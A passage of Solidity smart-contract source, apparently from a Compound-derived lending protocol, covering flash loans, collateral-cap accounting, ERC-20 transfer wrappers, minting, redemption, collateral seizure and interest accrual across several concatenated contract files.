"INSUFFICIENT_LIQUIDITY"); // 1. calculate fee, 1 bips = 1/10000 uint totalFee = div_(mul_(amount, flashFeeBips), 10000); // 2. transfer fund to receiver doTransferOut(address(uint160(receiver)), amount); // 3. update totalBorrows totalBorrows = add_(totalBorrows, amount); // 4. execute receiver's callback function IFlashloanReceiver(receiver).executeOperation(msg.sender, underlying, amount, totalFee, params); // 5. check balance uint cashOnChainAfter = getCashOnChain(); require(cashOnChainAfter == add_(cashOnChainBefore, totalFee), "BALANCE_INCONSISTENT"); // 6. update reserves and internal cash and totalBorrows uint reservesFee = mul_ScalarTruncate(Exp({mantissa: reserveFactorMantissa}), totalFee); totalReserves = add_(totalReserves, reservesFee); internalCash = add_(cashBefore, totalFee); totalBorrows = sub_(totalBorrows, amount); emit Flashloan(receiver, amount, totalFee, reservesFee); } /** * @notice Register account collateral tokens if there is space. * @param account The account to register * @dev This function could only be called by comptroller. * @return The actual registered amount of collateral */ function registerCollateral(address account) external returns (uint) { // Make sure accountCollateralTokens of `account` is initialized. initializeAccountCollateralTokens(account); require(msg.sender == address(comptroller), "only comptroller may register collateral for user"); uint amount = sub_(accountTokens[account], accountCollateralTokens[account]); return increaseUserCollateralInternal(account, amount); } /** * @notice Unregister account collateral tokens if the account still has enough collateral. * @dev This function could only be called by comptroller. * @param account The account to unregister */ function unregisterCollateral(address account) external { // Make sure accountCollateralTokens of `account` is initialized. initializeAccountCollateralTokens(account); require(msg.sender == address(comptroller), "only comptroller may unregister collateral for user"); decreaseUserCollateralInternal(account, accountCollateralTokens[account]); } /*** Safe Token ***/ /** * @notice Gets internal balance of this contract in terms of the underlying. * It excludes balance from direct transfer. * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashPrior() internal view returns (uint) { return internalCash; } /** * @notice Gets total balance of this contract in terms of the underlying * @dev This excludes the value of the current message, if any * @return The quantity of underlying tokens owned by this contract */ function getCashOnChain() internal view returns (uint) { EIP20Interface token = EIP20Interface(underlying); return token.balanceOf(address(this)); } /** * @notice Initialize the account's collateral tokens. This function should be called in the beginning of every function * that accesses accountCollateralTokens or accountTokens. * @param account The account of accountCollateralTokens that needs to be updated */ function initializeAccountCollateralTokens(address account) internal { /** * If isCollateralTokenInit is false, it means accountCollateralTokens was not initialized yet. * This case will only happen once and must be the very beginning. accountCollateralTokens is a new structure and its * initial value should be equal to accountTokens if user has entered the market. However, it's almost impossible to * check every user's value when the implementation becomes active. Therefore, it must rely on every action which will * access accountTokens to call this function to check if accountCollateralTokens needed to be initialized. */ if (!isCollateralTokenInit[account]) { if (ComptrollerInterfaceExtension(address(comptroller)).checkMembership(account, CToken(this))) { accountCollateralTokens[account] = accountTokens[account]; totalCollateralTokens = add_(totalCollateralTokens, accountTokens[account]); emit UserCollateralChanged(account, accountCollateralTokens[account]); } isCollateralTokenInit[account] = true; } } /** * @dev Similar to EIP20 transfer, except it handles a False result from `transferFrom` and reverts in that case. * This will revert due to insufficient balance or insufficient allowance. * This function returns the actual amount received, * which may be less than `amount` if there is a fee attached to the transfer. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferIn(address from, uint amount) internal returns (uint) { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); uint balanceBefore = EIP20Interface(underlying).balanceOf(address(this)); token.transferFrom(from, address(this), amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a compliant ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_IN_FAILED"); // Calculate the amount that was *actually* transferred uint balanceAfter = EIP20Interface(underlying).balanceOf(address(this)); uint transferredIn = sub_(balanceAfter, balanceBefore); internalCash = add_(internalCash, transferredIn); return transferredIn; } /** * @dev Similar to EIP20 transfer, except it handles a False success from `transfer` and returns an explanatory * error code rather than reverting. If caller has not called checked protocol's balance, this may revert due to * insufficient cash held in this contract. If caller has checked protocol's balance prior to this call, and verified * it is >= amount, this should not revert in normal conditions. * * Note: This wrapper safely handles non-standard ERC-20 tokens that do not return a value. * See here: https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ function doTransferOut(address payable to, uint amount) internal { EIP20NonStandardInterface token = EIP20NonStandardInterface(underlying); token.transfer(to, amount); bool success; assembly { switch returndatasize() case 0 { // This is a non-standard ERC-20 success := not(0) // set success to true } case 32 { // This is a complaint ERC-20 returndatacopy(0, 0, 32) success := mload(0) // Set `success = returndata` of external call } default { // This is an excessively non-compliant ERC-20, revert. revert(0, 0) } } require(success, "TOKEN_TRANSFER_OUT_FAILED"); internalCash = sub_(internalCash, amount); } /** * @notice Transfer `tokens` tokens from `src` to `dst` by `spender` * @dev Called by both `transfer` and `transferFrom` internally * @param spender The address of the account performing the transfer * @param src The address of the source account * @param dst The address of the destination account * @param tokens The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) { // Make sure accountCollateralTokens of `src` and `dst` are initialized. initializeAccountCollateralTokens(src); initializeAccountCollateralTokens(dst); /** * For every user, accountTokens must be greater than or equal to accountCollateralTokens. * The buffer between the two values will be transferred first. * bufferTokens = accountTokens[src] - accountCollateralTokens[src] * collateralTokens = tokens - bufferTokens */ uint bufferTokens = sub_(accountTokens[src], accountCollateralTokens[src]); uint collateralTokens = 0; if (tokens > bufferTokens) { collateralTokens = tokens - bufferTokens; } /** * Since bufferTokens are not collateralized and can be transferred freely, we only check with comptroller * whether collateralized tokens can be transferred. */ uint allowed = comptroller.transferAllowed(address(this), src, dst, collateralTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed); } /* Do not allow self-transfers */ if (src == dst) { return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED); } /* Get the allowance, infinite for the account owner */ uint startingAllowance = 0; if (spender == src) { startingAllowance = uint(-1); } else { startingAllowance = transferAllowances[src][spender]; } /* Do the calculations, checking for {under,over}flow */ accountTokens[src] = sub_(accountTokens[src], tokens); accountTokens[dst] = add_(accountTokens[dst], tokens); if (collateralTokens > 0) { accountCollateralTokens[src] = sub_(accountCollateralTokens[src], collateralTokens); accountCollateralTokens[dst] = add_(accountCollateralTokens[dst], collateralTokens); emit UserCollateralChanged(src, accountCollateralTokens[src]); emit UserCollateralChanged(dst, accountCollateralTokens[dst]); } /* Eat some of the allowance (if necessary) */ if (startingAllowance != uint(-1)) { transferAllowances[src][spender] = sub_(startingAllowance, tokens); } /* We emit a Transfer event */ emit Transfer(src, dst, tokens); // unused function // comptroller.transferVerify(address(this), src, dst, tokens); return uint(Error.NO_ERROR); } /** * @notice Get the account's cToken balances * @param account The address of the account */ function getCTokenBalanceInternal(address account) internal view returns (uint) { if (isCollateralTokenInit[account]) { return accountCollateralTokens[account]; } else { /** * If the value of accountCollateralTokens was not initialized, we should return the value of accountTokens. */ return accountTokens[account]; } } /** * @notice Increase user's collateral. Increase as much as we can. * @param account The address of the account * @param amount The amount of collateral user wants to increase * @return The actual increased amount of collateral */ function increaseUserCollateralInternal(address account, uint amount) internal returns (uint) { uint totalCollateralTokensNew = add_(totalCollateralTokens, amount); if (collateralCap == 0 || (collateralCap != 0 && totalCollateralTokensNew <= collateralCap)) { // 1. If collateral cap is not set, // 2. If collateral cap is set but has enough space for this user, // give all the user needs. totalCollateralTokens = totalCollateralTokensNew; accountCollateralTokens[account] = add_(accountCollateralTokens[account], amount); emit UserCollateralChanged(account, accountCollateralTokens[account]); return amount; } else if (collateralCap > totalCollateralTokens) { // If the collateral cap is set but the remaining cap is not enough for this user, // give the remaining parts to the user. uint gap = sub_(collateralCap, totalCollateralTokens); totalCollateralTokens = add_(totalCollateralTokens, gap); accountCollateralTokens[account] = add_(accountCollateralTokens[account], gap); emit UserCollateralChanged(account, accountCollateralTokens[account]); return gap; } return 0; } /** * @notice Decrease user's collateral. Reject if the amount can't be fully decrease. * @param account The address of the account * @param amount The amount of collateral user wants to decrease */ function decreaseUserCollateralInternal(address account, uint amount) internal { require(comptroller.redeemAllowed(address(this), account, amount) == 0, "comptroller rejection"); /* * Return if amount is zero. * Put behind `redeemAllowed` for accuring potential COMP rewards. */ if (amount == 0) { return; } totalCollateralTokens = sub_(totalCollateralTokens, amount); accountCollateralTokens[account] = sub_(accountCollateralTokens[account], amount); emit UserCollateralChanged(account, accountCollateralTokens[account]); } struct MintLocalVars { uint exchangeRateMantissa; uint mintTokens; uint actualMintAmount; } /** * @notice User supplies assets into the market and receives cTokens in exchange * @dev Assumes interest has already been accrued up to the current block * @param minter The address of the account which is supplying the assets * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) { // Make sure accountCollateralTokens of `minter` is initialized. initializeAccountCollateralTokens(minter); /* Fail if mint not allowed */ uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount); if (allowed != 0) { return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0); } /* * Return if mintAmount is zero. * Put behind `mintAllowed` for accuring potential COMP rewards. */ if (mintAmount == 0) { return (uint(Error.NO_ERROR), 0); } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0); } MintLocalVars memory vars; vars.exchangeRateMantissa = exchangeRateStoredInternal(); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We call `doTransferIn` for the minter and the mintAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * `doTransferIn` reverts if anything goes wrong, since we can't be sure if * side-effects occurred. The function returns the amount actually transferred, * in case of a fee. On success, the cToken holds an additional `actualMintAmount` * of cash. */ vars.actualMintAmount = doTransferIn(minter, mintAmount); /* * We get the current exchange rate and calculate the number of cTokens to be minted: * mintTokens = actualMintAmount / exchangeRate */ vars.mintTokens = div_ScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa})); /* * We calculate the new total supply of cTokens and minter token balance, checking for overflow: * totalSupply = totalSupply + mintTokens * accountTokens[minter] = accountTokens[minter] + mintTokens */ totalSupply = add_(totalSupply, vars.mintTokens); accountTokens[minter] = add_(accountTokens[minter], vars.mintTokens); /* * We only allocate collateral tokens if the minter has entered the market. */ if (ComptrollerInterfaceExtension(address(comptroller)).checkMembership(minter, CToken(this))) { increaseUserCollateralInternal(minter, vars.mintTokens); } /* We emit a Mint event, and a Transfer event */ emit Mint(minter, vars.actualMintAmount, vars.mintTokens); emit Transfer(address(this), minter, vars.mintTokens); /* We call the defense hook */ // unused function // comptroller.mintVerify(address(this), minter, vars.actualMintAmount, vars.mintTokens); return (uint(Error.NO_ERROR), vars.actualMintAmount); } struct RedeemLocalVars { uint exchangeRateMantissa; uint redeemTokens; uint redeemAmount; } /** * @notice User redeems cTokens in exchange for the underlying asset * @dev Assumes interest has already been accrued up to the current block. Only one of redeemTokensIn or redeemAmountIn may be non-zero and it would do nothing if both are zero. * @param redeemer The address of the account which is redeeming the tokens * @param redeemTokensIn The number of cTokens to redeem into underlying * @param redeemAmountIn The number of underlying tokens to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) { // Make sure accountCollateralTokens of `redeemer` is initialized. initializeAccountCollateralTokens(redeemer); require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero"); RedeemLocalVars memory vars; /* exchangeRate = invoke Exchange Rate Stored() */ vars.exchangeRateMantissa = exchangeRateStoredInternal(); /* If redeemTokensIn > 0: */ if (redeemTokensIn > 0) { /* * We calculate the exchange rate and the amount of underlying to be redeemed: * redeemTokens = redeemTokensIn * redeemAmount = redeemTokensIn x exchangeRateCurrent */ vars.redeemTokens = redeemTokensIn; vars.redeemAmount = mul_ScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn); } else { /* * We get the current exchange rate and calculate the amount to be redeemed: * redeemTokens = redeemAmountIn / exchangeRate * redeemAmount = redeemAmountIn */ vars.redeemTokens = div_ScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa})); vars.redeemAmount = redeemAmountIn; } /** * For every user, accountTokens must be greater than or equal to accountCollateralTokens. * The buffer between the two values will be redeemed first. * bufferTokens = accountTokens[redeemer] - accountCollateralTokens[redeemer] * collateralTokens = redeemTokens - bufferTokens */ uint bufferTokens = sub_(accountTokens[redeemer], accountCollateralTokens[redeemer]); uint collateralTokens = 0; if (vars.redeemTokens > bufferTokens) { collateralTokens = vars.redeemTokens - bufferTokens; } /* Verify market's block number equals current block number */ if (accrualBlockNumber != getBlockNumber()) { return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK); } /* Fail gracefully if protocol has insufficient cash */ if (getCashPrior() < vars.redeemAmount) { return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* * We invoke doTransferOut for the redeemer and the redeemAmount. * Note: The cToken must handle variations between ERC-20 and ETH underlying. * On success, the cToken has redeemAmount less of cash. * doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred. */ doTransferOut(redeemer, vars.redeemAmount); /* * We calculate the new total supply and redeemer balance, checking for underflow: * totalSupplyNew = totalSupply - redeemTokens * accountTokensNew = accountTokens[redeemer] - redeemTokens */ totalSupply = sub_(totalSupply, vars.redeemTokens); accountTokens[redeemer] = sub_(accountTokens[redeemer], vars.redeemTokens); /* * We only deallocate collateral tokens if the redeemer needs to redeem them. */ if (collateralTokens > 0) { decreaseUserCollateralInternal(redeemer, collateralTokens); } /* We emit a Transfer event, and a Redeem event */ emit Transfer(redeemer, address(this), vars.redeemTokens); emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens); /* We call the defense hook */ comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens); return uint(Error.NO_ERROR); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Called only during an in-kind liquidation, or by liquidateBorrow during the liquidation of another CToken. * Its absolutely critical to use msg.sender as the seizer cToken and not a parameter. * @param seizerToken The contract seizing the collateral (i.e. borrowed cToken) * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seizeInternal(address seizerToken, address liquidator, address borrower, uint seizeTokens) internal returns (uint) { // Make sure accountCollateralTokens of `liquidator` and `borrower` are initialized. initializeAccountCollateralTokens(liquidator); initializeAccountCollateralTokens(borrower); /* Fail if seize not allowed */ uint allowed = comptroller.seizeAllowed(address(this), seizerToken, liquidator, borrower, seizeTokens); if (allowed != 0) { return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed); } /* * Return if seizeTokens is zero. * Put behind `seizeAllowed` for accuring potential COMP rewards. */ if (seizeTokens == 0) { return uint(Error.NO_ERROR); } /* Fail if borrower = liquidator */ if (borrower == liquidator) { return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER); } /* * We calculate the new borrower and liquidator token balances and token collateral balances, failing on underflow/overflow: * accountTokens[borrower] = accountTokens[borrower] - seizeTokens * accountTokens[liquidator] = accountTokens[liquidator] + seizeTokens * accountCollateralTokens[borrower] = accountCollateralTokens[borrower] - seizeTokens * accountCollateralTokens[liquidator] = accountCollateralTokens[liquidator] + seizeTokens */ accountTokens[borrower] = sub_(accountTokens[borrower], seizeTokens); accountTokens[liquidator] = add_(accountTokens[liquidator], seizeTokens); accountCollateralTokens[borrower] = sub_(accountCollateralTokens[borrower], seizeTokens); accountCollateralTokens[liquidator] = add_(accountCollateralTokens[liquidator], seizeTokens); /* Emit a Transfer, UserCollateralChanged events */ emit Transfer(borrower, liquidator, seizeTokens); emit UserCollateralChanged(borrower, accountCollateralTokens[borrower]); emit UserCollateralChanged(liquidator, accountCollateralTokens[liquidator]); /* We call the defense hook */ // unused function // comptroller.seizeVerify(address(this), seizerToken, liquidator, borrower, seizeTokens); return uint(Error.NO_ERROR); } } pragma solidity ^0.5.16; import "./CCollateralCapErc20.sol"; /** * @title Cream's CCollateralCapErc20Delegate Contract * @notice CTokens which wrap an EIP-20 underlying and are delegated to * @author Cream */ contract CCollateralCapErc20Delegate is CCollateralCapErc20 { /** * @notice Construct an empty delegate */ constructor() public {} /** * @notice Called by the delegator on a delegate to initialize it for duty * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public { // Shh -- currently unused data; // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _becomeImplementation"); // Set internal cash when becoming implementation internalCash = getCashOnChain(); // Set CToken version in comptroller ComptrollerInterfaceExtension(address(comptroller)).updateCTokenVersion(address(this), ComptrollerV2Storage.Version.COLLATERALCAP); } /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public { // Shh -- we don't ever want this hook to be marked pure if (false) { implementation = address(0); } require(msg.sender == admin, "only the admin may call _resignImplementation"); } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./CTokenInterfaces.sol"; import "./ErrorReporter.sol"; import "./Exponential.sol"; import "./EIP20Interface.sol"; import "./EIP20NonStandardInterface.sol"; import "./InterestRateModel.sol"; /** * @title Compound's CToken Contract * @notice Abstract base for CTokens * @author Compound */ contract CToken is CTokenInterface, Exponential, TokenErrorReporter { /** * @notice Initialize the money market * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ EIP-20 name of this token * @param symbol_ EIP-20 symbol of this token * @param decimals_ EIP-20 decimal precision of this token */ function initialize(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_) public { require(msg.sender == admin, "only admin may initialize the market"); require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once"); // Set initial exchange rate initialExchangeRateMantissa = initialExchangeRateMantissa_; require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero."); // Set the comptroller uint err = _setComptroller(comptroller_); require(err == uint(Error.NO_ERROR), "setting comptroller failed"); // Initialize block number and borrow index (block number mocks depend on comptroller being set) accrualBlockNumber = getBlockNumber(); borrowIndex = mantissaOne; // Set the interest rate model (depends on block number / borrow index) err = _setInterestRateModelFresh(interestRateModel_); require(err == uint(Error.NO_ERROR), "setting interest rate model failed"); name = name_; symbol = symbol_; decimals = decimals_; // The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund) _notEntered = true; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external nonReentrant returns (bool) { return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { address src = msg.sender; transferAllowances[src][spender] = amount; emit Approval(src, spender, amount); return true; } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256) { return transferAllowances[owner][spender]; } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint256) { return accountTokens[owner]; } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()}); return mul_ScalarTruncate(exchangeRate, accountTokens[owner]); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { uint cTokenBalance = getCTokenBalanceInternal(account); uint borrowBalance = borrowBalanceStoredInternal(account); uint exchangeRateMantissa = exchangeRateStoredInternal(); return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa); } /** * @dev Function to simply retrieve block number * This exists mainly for inheriting test contracts to stub this result. */ function getBlockNumber() internal view returns (uint) { return block.number; } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa); } /** * @notice Returns the estimated per-block borrow interest rate for this cToken after some change * @return The borrow interest rate per block, scaled by 1e18 */ function estimateBorrowRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getBorrowRate(cashPriorNew, totalBorrowsNew, totalReserves); } /** * @notice Returns the estimated per-block supply interest rate for this cToken after some change * @return The supply interest rate per block, scaled by 1e18 */ function estimateSupplyRatePerBlockAfterChange(uint256 change, bool repay) external view returns (uint) { uint256 cashPriorNew; uint256 totalBorrowsNew; if (repay) { cashPriorNew = add_(getCashPrior(), change); totalBorrowsNew = sub_(totalBorrows, change); } else { cashPriorNew = sub_(getCashPrior(), change); totalBorrowsNew = add_(totalBorrows, change); } return interestRateModel.getSupplyRate(cashPriorNew, totalBorrowsNew, totalReserves, reserveFactorMantissa); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return totalBorrows; } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return borrowBalanceStored(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { return borrowBalanceStoredInternal(account); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return the calculated balance or 0 if error code is non-zero */ function borrowBalanceStoredInternal(address account) internal view returns (uint) { /* Get borrowBalance and borrowIndex */ BorrowSnapshot storage borrowSnapshot = accountBorrows[account]; /* If borrowBalance = 0 then borrowIndex is likely also 0. * Rather than failing the calculation with a division by 0, we immediately return 0 in this case. */ if (borrowSnapshot.principal == 0) { return 0; } /* Calculate new borrow balance using the interest index: * recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex */ uint principalTimesIndex = mul_(borrowSnapshot.principal, borrowIndex); uint result = div_(principalTimesIndex, borrowSnapshot.interestIndex); return result; } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public nonReentrant returns (uint) { require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed"); return exchangeRateStored(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { return exchangeRateStoredInternal(); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return calculated exchange rate scaled by 1e18 */ function exchangeRateStoredInternal() internal view returns (uint) { uint _totalSupply = totalSupply; if (_totalSupply == 0) { /* * If there are no tokens minted: * exchangeRate = initialExchangeRate */ return initialExchangeRateMantissa; } else { /* * Otherwise: * exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply */ uint totalCash = getCashPrior(); uint cashPlusBorrowsMinusReserves = sub_(add_(totalCash, totalBorrows), totalReserves); uint exchangeRate = div_(cashPlusBorrowsMinusReserves, Exp({mantissa: _totalSupply})); return exchangeRate; } } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { return getCashPrior(); } /** * @notice Applies accrued interest to total borrows and reserves * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { /* Remember the initial block number */ uint currentBlockNumber = getBlockNumber(); uint accrualBlockNumberPrior = accrualBlockNumber; /* Short-circuit accumulating 0 interest */ if (accrualBlockNumberPrior == currentBlockNumber) { return uint(Error.NO_ERROR); } /* Read the previous values out of storage */ uint cashPrior = getCashPrior(); uint borrowsPrior = totalBorrows; uint reservesPrior = totalReserves; uint borrowIndexPrior = borrowIndex; /* Calculate the current borrow interest rate */ uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior); require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high"); /* Calculate the number of blocks elapsed since the last accrual */ uint blockDelta = sub_(currentBlockNumber, accrualBlockNumberPrior); /* * Calculate the interest accumulated into borrows and reserves and the new index: * simpleInterestFactor = borrowRate * blockDelta * interestAccumulated = simpleInterestFactor * totalBorrows * totalBorrowsNew = interestAccumulated + totalBorrows * totalReservesNew = interestAccumulated * reserveFactor + totalReserves * borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex */ Exp memory simpleInterestFactor = mul_(Exp({mantissa: borrowRateMantissa}), blockDelta); uint interestAccumulated = mul_ScalarTruncate(simpleInterestFactor, borrowsPrior); uint totalBorrowsNew = add_(interestAccumulated, borrowsPrior); uint totalReservesNew = mul_ScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior); uint borrowIndexNew = mul_ScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior); ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) /* We write the previously calculated values into storage */ accrualBlockNumber = currentBlockNumber; borrowIndex = borrowIndexNew; totalBorrows = totalBorrowsNew; totalReserves = totalReservesNew; /* We emit an AccrueInterest event */ emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew); return uint(Error.NO_ERROR); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount. */ function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0); } // mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to return mintFresh(msg.sender, mintAmount); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we don't need to return redeemFresh(msg.sender, redeemTokens, 0); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to receive from redeeming cTokens * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) { uint error = accrueInterest(); if (error != uint(Error.NO_ERROR)) { // accrueInterest emits logs on errors, but we still want to log the fact that an attempted redeem failed return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED); } // redeemFresh emits redeem-specific logs on errors, so we 